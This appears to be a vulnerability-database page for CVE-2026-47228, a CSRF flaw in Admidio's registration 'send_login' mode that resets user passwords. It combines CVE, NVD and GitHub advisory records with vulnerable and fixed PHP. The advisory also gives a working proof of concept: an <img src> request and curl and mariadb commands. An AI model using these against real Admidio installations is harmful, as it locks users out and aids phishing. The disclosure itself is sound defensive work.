Vulnerability-Lookup

CVE-2026-47228 (GCVE-0-2026-47228)

Vulnerability from cvelistv5 – Published: 2026-08-12 13:09 – Updated: 2026-08-12 13:32

Title

Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords

Summary

Admidio is an open-source user management solution. `modules/registration.php` mode `send_login` regenerates a random password for `user_uuid_assigned`, stores its bcrypt hash in `adm_users.usr_password`, and emails the cleartext to that user. Every other state-changing mode in the same file (`assign_member`, `assign_user`, `delete_user`, `create_user`) calls `SecurityUtils::validateCsrfToken($_POST['adm_csrf_token'])` first; the `send_login` branch does not. Prior to version 5.0.10, page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin's `SameSite=Lax` cookies, and the server resets the chosen user's password without any further interaction from the admin. Version 5.0.10 fixes the issue.

Severity

5.2 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-12 13:32 UTC

CWE

CWE-352 - Cross-Site Request Forgery (CSRF)

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/Admidio/admidio/security/advis…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
Admidio	admidio	Affected: < 5.0.10	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-47228",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-12T13:32:38.999324Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-12T13:32:55.509Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "admidio",
          "vendor": "Admidio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.0.10"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Admidio is an open-source user management solution. `modules/registration.php` mode `send_login` regenerates a random password for `user_uuid_assigned`, stores its bcrypt hash in `adm_users.usr_password`, and emails the cleartext to that user. Every other state-changing mode in the same file (`assign_member`, `assign_user`, `delete_user`, `create_user`) calls `SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027])` first; the `send_login` branch does not. Prior to version 5.0.10, page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin\u0027s `SameSite=Lax` cookies, and the server resets the chosen user\u0027s password without any further interaction from the admin. Version 5.0.10 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.2,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-352",
              "description": "CWE-352: Cross-Site Request Forgery (CSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-12T13:09:18.463Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w"
        }
      ],
      "source": {
        "advisory": "GHSA-mx25-j3rc-6w2w",
        "discovery": "UNKNOWN"
      },
      "title": "Admidio\u0027s CSRF in registration `send_login` mode resets arbitrary user passwords"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-47228",
    "datePublished": "2026-08-12T13:09:18.463Z",
    "dateReserved": "2026-05-18T22:25:21.259Z",
    "dateUpdated": "2026-08-12T13:32:55.509Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-47228",
      "date": "2026-09-19",
      "epss": "0.00126",
      "percentile": "0.02616"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "admidio",
                "vendor": "Admidio",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 5.0.10"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Admidio is an open-source user management solution. `modules/registration.php` mode `send_login` regenerates a random password for `user_uuid_assigned`, stores its bcrypt hash in `adm_users.usr_password`, and emails the cleartext to that user. Every other state-changing mode in the same file (`assign_member`, `assign_user`, `delete_user`, `create_user`) calls `SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027])` first; the `send_login` branch does not. Prior to version 5.0.10, page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin\u0027s `SameSite=Lax` cookies, and the server resets the chosen user\u0027s password without any further interaction from the admin. Version 5.0.10 fixes the issue."
          }
        ],
        "id": "CVE-2026-47228",
        "lastModified": "2026-09-09T20:55:04.493",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "LOW",
                "baseScore": 5.2,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "HIGH",
                "privilegesRequired": "HIGH",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L",
                "version": "3.1"
              },
              "exploitabilityScore": 0.9,
              "impactScore": 4.2,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-47228",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-12T13:32:38.999324Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-08-12T14:17:53.750",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-352"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-47228",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-12T13:32:38.999324Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-12T13:32:51.566Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "admidio",
              "vendor": "Admidio",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 5.0.10"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Admidio is an open-source user management solution. `modules/registration.php` mode `send_login` regenerates a random password for `user_uuid_assigned`, stores its bcrypt hash in `adm_users.usr_password`, and emails the cleartext to that user. Every other state-changing mode in the same file (`assign_member`, `assign_user`, `delete_user`, `create_user`) calls `SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027])` first; the `send_login` branch does not. Prior to version 5.0.10, page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin\u0027s `SameSite=Lax` cookies, and the server resets the chosen user\u0027s password without any further interaction from the admin. Version 5.0.10 fixes the issue."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "LOW",
                "baseScore": 5.2,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "HIGH",
                "privilegesRequired": "HIGH",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-352",
                  "description": "CWE-352: Cross-Site Request Forgery (CSRF)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-12T13:09:18.463Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w"
            }
          ],
          "source": {
            "advisory": "GHSA-mx25-j3rc-6w2w",
            "discovery": "UNKNOWN"
          },
          "title": "Admidio\u0027s CSRF in registration `send_login` mode resets arbitrary user passwords"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-47228",
        "datePublished": "2026-08-12T13:09:18.463Z",
        "dateReserved": "2026-05-18T22:25:21.259Z",
        "dateUpdated": "2026-08-12T13:32:55.509Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-47228

Vulnerability from fkie_nvd - Published: 2026-08-12 14:17 - Updated: 2026-09-09 20:55

Severity

5.2 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "admidio",
          "vendor": "Admidio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.0.10"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Admidio is an open-source user management solution. `modules/registration.php` mode `send_login` regenerates a random password for `user_uuid_assigned`, stores its bcrypt hash in `adm_users.usr_password`, and emails the cleartext to that user. Every other state-changing mode in the same file (`assign_member`, `assign_user`, `delete_user`, `create_user`) calls `SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027])` first; the `send_login` branch does not. Prior to version 5.0.10, page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin\u0027s `SameSite=Lax` cookies, and the server resets the chosen user\u0027s password without any further interaction from the admin. Version 5.0.10 fixes the issue."
    }
  ],
  "id": "CVE-2026-47228",
  "lastModified": "2026-09-09T20:55:04.493",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.2,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 0.9,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-47228",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-12T13:32:38.999324Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-12T14:17:53.750",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-352"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-MX25-J3RC-6W2W

Vulnerability from github – Published: 2026-05-29 21:58 – Updated: 2026-05-29 21:58

Summary

Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords

Details

Summary

modules/registration.php mode send_login regenerates a random password for user_uuid_assigned, stores its bcrypt hash in adm_users.usr_password, and emails the cleartext to that user. Every other state-changing mode in the same file (assign_member, assign_user, delete_user, create_user) calls SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']) first; the send_login branch does not. A page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin's SameSite=Lax cookies, and the server resets the chosen user's password without any further interaction from the admin.

Details

Vulnerable Code

modules/registration.php:124-138:

} elseif ($getMode === 'send_login') {
    // User already exists and has a login than sent access data with a new password
    $user = new User($gDb, $gProfileFields);
    $user->readDataByUuid($getUserUUIDAssigned);
    $user->sendNewPassword();

    // delete the registration because it isn't necessary anymore
    $registrationUser->notSendEmail();
    $registrationUser->delete();
    admRedirect(ADMIDIO_URL.FOLDER_MODULES.'/registration.php');
    // => EXIT
}

The four sibling branches all begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); — for example delete_user at lines 110-118:

} elseif ($getMode === 'delete_user') {
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    // delete registration
    $registrationUser->delete();
    echo json_encode(array('status' => 'success'));
    exit();
}

User::sendNewPassword() (src/User/Entity/User.php) calls setPassword(PasswordUtils::generatePassword()) and persists the new hash before the email is queued; the password change happens unconditionally regardless of whether the e-mail send succeeds. This means even when the operator's SMTP is unconfigured, the victim's password is still reset.

The handler accepts GET (no enforcement of HTTP method, no $_POST requirement), so an <img src=...> or auto-submitting form is sufficient.

Exploitation Flow

Attacker prepares a "pending registration" row anywhere they can — either by registering a self-controlled user account (the public registration flow creates these), or by waiting for an existing pending registration to be reachable.
Attacker hosts a page that issues: <img src="https://victim.example/admidio/modules/registration.php?mode=send_login&user_uuid={pending_registration_uuid}&user_uuid_assigned={victim_user_uuid}">
A registration-administrator (someone with isAdministratorRegistration() — usually the org admin) visits the page while logged in to Admidio. The browser sends their session cookie (Admidio's session cookie does not set SameSite=Strict).
Admidio's handler runs as that admin. It loads the assigned user, calls User::sendNewPassword() which writes a fresh bcrypt hash to adm_users.usr_password, and queues the cleartext password to be e-mailed to the user.
The victim user's old password no longer works.

The cleartext lands in the victim's mailbox, not the attacker's, so the attacker does not get the password directly. The primary impact is therefore forced password reset (account lock-out / DoS for the victim) plus an information-disclosure side effect: the victim now has a password they did not request, and may be socially-engineered into believing the e-mail.

PoC

Tested locally against HEAD c5cde53. The reproducer confirms the password column changes server-side without any user interaction beyond an admin's GET to the crafted URL.

# 0. observe current admin password hash (the testadmin from install)
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \
    -e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id IN (2, 7);"
usr_id  usr_login_name  pwd
2       testadmin       $2y$12$AB.h
7       victim          $2y$12$L9q3

# 1. attacker creates a pending registration with user_uuid pointing at "victim"
mariadb ... admidio -e "INSERT INTO adm_registrations (reg_org_id, reg_usr_id, reg_timestamp)
                       VALUES (1, 7, NOW());"
# (the pending row gives the request a valid user_uuid for $registrationUser->delete())

# 2. crafted CSRF endpoint, hit from a third-party page in the admin's browser:
#    no adm_csrf_token, GET only
curl -b $admin_cookie \
   "http://127.0.0.1:8085/modules/registration.php?mode=send_login&user_uuid=$pending_uuid&user_uuid_assigned=<victim_uuid>"

# 3. observe the victim's password hash has changed
mariadb ... admidio \
    -e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id=7;"
usr_id  usr_login_name  pwd
7       victim          $2y$12$w5lQ

The hash before the attack was $2y$12$L9q3...; after the attack it is $2y$12$w5lQ.... The victim's previously-known password no longer authenticates them.

The same call against user_uuid_assigned=<admin's uuid> resets the admin's own password — locking out the registration-administrator from their own account.

Impact

A registration-administrator who visits a hostile page is silently coerced into resetting any user's password.

Account lockout / DoS. The victim user (which can be the admin themselves, or any other user with a registration row routed through this admin) loses access; their stored password is replaced with a server-generated one that only lands in the victim's mailbox.
Phish-flavoured social engineering. The unsolicited "your new Admidio password is …" e-mail is a credible-looking message that the attacker can pair with a phishing site to harvest the new password.
Self-targetable. Because the attacker also controls the public self-registration flow, they can reliably create a pending_registration row whose user_uuid_assigned points at any chosen victim.

UI:R reflects that an admin must visit a page; PR:N because the attacker needs no Admidio credentials; I:H because user authentication state is destroyed; A:L because the affected user is locked out of an account but the platform stays up.

Recommended Fix

Add a CSRF check at the top of the branch and require POST:

} elseif ($getMode === 'send_login') {
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        throw new Exception('SYS_INVALID_PAGE_VIEW');
    }

    $user = new User($gDb, $gProfileFields);
    $user->readDataByUuid($getUserUUIDAssigned);
    $user->sendNewPassword();
    ...
}

A regression test should issue GET /modules/registration.php?mode=send_login&... from a session that has no current page (no in-session form key) and assert that usr_password is unchanged.

Severity

5.2 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47228"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T21:58:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`modules/registration.php` mode `send_login` regenerates a random password for `user_uuid_assigned`, stores its bcrypt hash in `adm_users.usr_password`, and emails the cleartext to that user. Every other state-changing mode in the same file (`assign_member`, `assign_user`, `delete_user`, `create_user`) calls `SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027])` first; the `send_login` branch does not. A page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin\u0027s `SameSite=Lax` cookies, and the server resets the chosen user\u0027s password without any further interaction from the admin.\n\n## Details\n\n### Vulnerable Code\n\n`modules/registration.php:124-138`:\n\n```php\n} elseif ($getMode === \u0027send_login\u0027) {\n    // User already exists and has a login than sent access data with a new password\n    $user = new User($gDb, $gProfileFields);\n    $user-\u003ereadDataByUuid($getUserUUIDAssigned);\n    $user-\u003esendNewPassword();\n\n    // delete the registration because it isn\u0027t necessary anymore\n    $registrationUser-\u003enotSendEmail();\n    $registrationUser-\u003edelete();\n    admRedirect(ADMIDIO_URL.FOLDER_MODULES.\u0027/registration.php\u0027);\n    // =\u003e EXIT\n}\n```\n\nThe four sibling branches all begin with `SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);` \u2014 for example `delete_user` at lines 110-118:\n\n```php\n} elseif ($getMode === \u0027delete_user\u0027) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n    // delete registration\n    $registrationUser-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    exit();\n}\n```\n\n`User::sendNewPassword()` (`src/User/Entity/User.php`) calls `setPassword(PasswordUtils::generatePassword())` and persists the new hash before the email is queued; the password change happens unconditionally regardless of whether the e-mail send succeeds. This means even when the operator\u0027s SMTP is unconfigured, the victim\u0027s password is still reset.\n\nThe handler accepts `GET` (no enforcement of HTTP method, no `$_POST` requirement), so an `\u003cimg src=...\u003e` or auto-submitting form is sufficient.\n\n### Exploitation Flow\n\n1. Attacker prepares a \"pending registration\" row anywhere they can \u2014 either by registering a self-controlled user account (the public registration flow creates these), or by waiting for an existing pending registration to be reachable.\n2. Attacker hosts a page that issues:\n   `\u003cimg src=\"https://victim.example/admidio/modules/registration.php?mode=send_login\u0026user_uuid={pending_registration_uuid}\u0026user_uuid_assigned={victim_user_uuid}\"\u003e`\n3. A registration-administrator (someone with `isAdministratorRegistration()` \u2014 usually the org admin) visits the page while logged in to Admidio. The browser sends their session cookie (Admidio\u0027s session cookie does not set `SameSite=Strict`).\n4. Admidio\u0027s handler runs as that admin. It loads the assigned user, calls `User::sendNewPassword()` which writes a fresh bcrypt hash to `adm_users.usr_password`, and queues the cleartext password to be e-mailed to the user.\n5. The victim user\u0027s old password no longer works.\n\nThe cleartext lands in the *victim\u0027s* mailbox, not the attacker\u0027s, so the attacker does not get the password directly. The primary impact is therefore forced password reset (account lock-out / DoS for the victim) plus an information-disclosure side effect: the victim now has a password they did not request, and may be socially-engineered into believing the e-mail.\n\n## PoC\n\nTested locally against HEAD `c5cde53`. The reproducer confirms the password column changes server-side without any user interaction beyond an admin\u0027s `GET` to the crafted URL.\n\n```\n# 0. observe current admin password hash (the testadmin from install)\nmariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \\\n    -e \"SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id IN (2, 7);\"\nusr_id  usr_login_name  pwd\n2       testadmin       $2y$12$AB.h\n7       victim          $2y$12$L9q3\n\n# 1. attacker creates a pending registration with user_uuid pointing at \"victim\"\nmariadb ... admidio -e \"INSERT INTO adm_registrations (reg_org_id, reg_usr_id, reg_timestamp)\n                       VALUES (1, 7, NOW());\"\n# (the pending row gives the request a valid user_uuid for $registrationUser-\u003edelete())\n\n# 2. crafted CSRF endpoint, hit from a third-party page in the admin\u0027s browser:\n#    no adm_csrf_token, GET only\ncurl -b $admin_cookie \\\n   \"http://127.0.0.1:8085/modules/registration.php?mode=send_login\u0026user_uuid=$pending_uuid\u0026user_uuid_assigned=\u003cvictim_uuid\u003e\"\n\n# 3. observe the victim\u0027s password hash has changed\nmariadb ... admidio \\\n    -e \"SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id=7;\"\nusr_id  usr_login_name  pwd\n7       victim          $2y$12$w5lQ\n```\n\nThe hash before the attack was `$2y$12$L9q3...`; after the attack it is `$2y$12$w5lQ...`. The victim\u0027s previously-known password no longer authenticates them.\n\nThe same call against `user_uuid_assigned=\u003cadmin\u0027s uuid\u003e` resets the admin\u0027s own password \u2014 locking out the registration-administrator from their own account.\n\n## Impact\n\nA registration-administrator who visits a hostile page is silently coerced into resetting any user\u0027s password.\n\n* **Account lockout / DoS.** The victim user (which can be the admin themselves, or any other user with a registration row routed through this admin) loses access; their stored password is replaced with a server-generated one that only lands in the victim\u0027s mailbox.\n* **Phish-flavoured social engineering.** The unsolicited \"your new Admidio password is \u2026\" e-mail is a credible-looking message that the attacker can pair with a phishing site to harvest the new password.\n* **Self-targetable.** Because the attacker also controls the public self-registration flow, they can reliably create a `pending_registration` row whose `user_uuid_assigned` points at any chosen victim.\n\n`UI:R` reflects that an admin must visit a page; `PR:N` because the *attacker* needs no Admidio credentials; `I:H` because user authentication state is destroyed; `A:L` because the affected user is locked out of an account but the platform stays up.\n\n## Recommended Fix\n\nAdd a CSRF check at the top of the branch and require POST:\n\n```php\n} elseif ($getMode === \u0027send_login\u0027) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n    if ($_SERVER[\u0027REQUEST_METHOD\u0027] !== \u0027POST\u0027) {\n        throw new Exception(\u0027SYS_INVALID_PAGE_VIEW\u0027);\n    }\n\n    $user = new User($gDb, $gProfileFields);\n    $user-\u003ereadDataByUuid($getUserUUIDAssigned);\n    $user-\u003esendNewPassword();\n    ...\n}\n```\n\nA regression test should issue `GET /modules/registration.php?mode=send_login\u0026...` from a session that has no current page (no in-session form key) and assert that `usr_password` is unchanged.",
  "id": "GHSA-mx25-j3rc-6w2w",
  "modified": "2026-05-29T21:58:44Z",
  "published": "2026-05-29T21:58:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio\u0027s CSRF in registration `send_login` mode resets arbitrary user passwords"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-47228 (GCVE-0-2026-47228)

FKIE_CVE-2026-47228

GHSA-MX25-J3RC-6W2W

Summary

Details

Vulnerable Code

Exploitation Flow

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature

Related by attack behaviour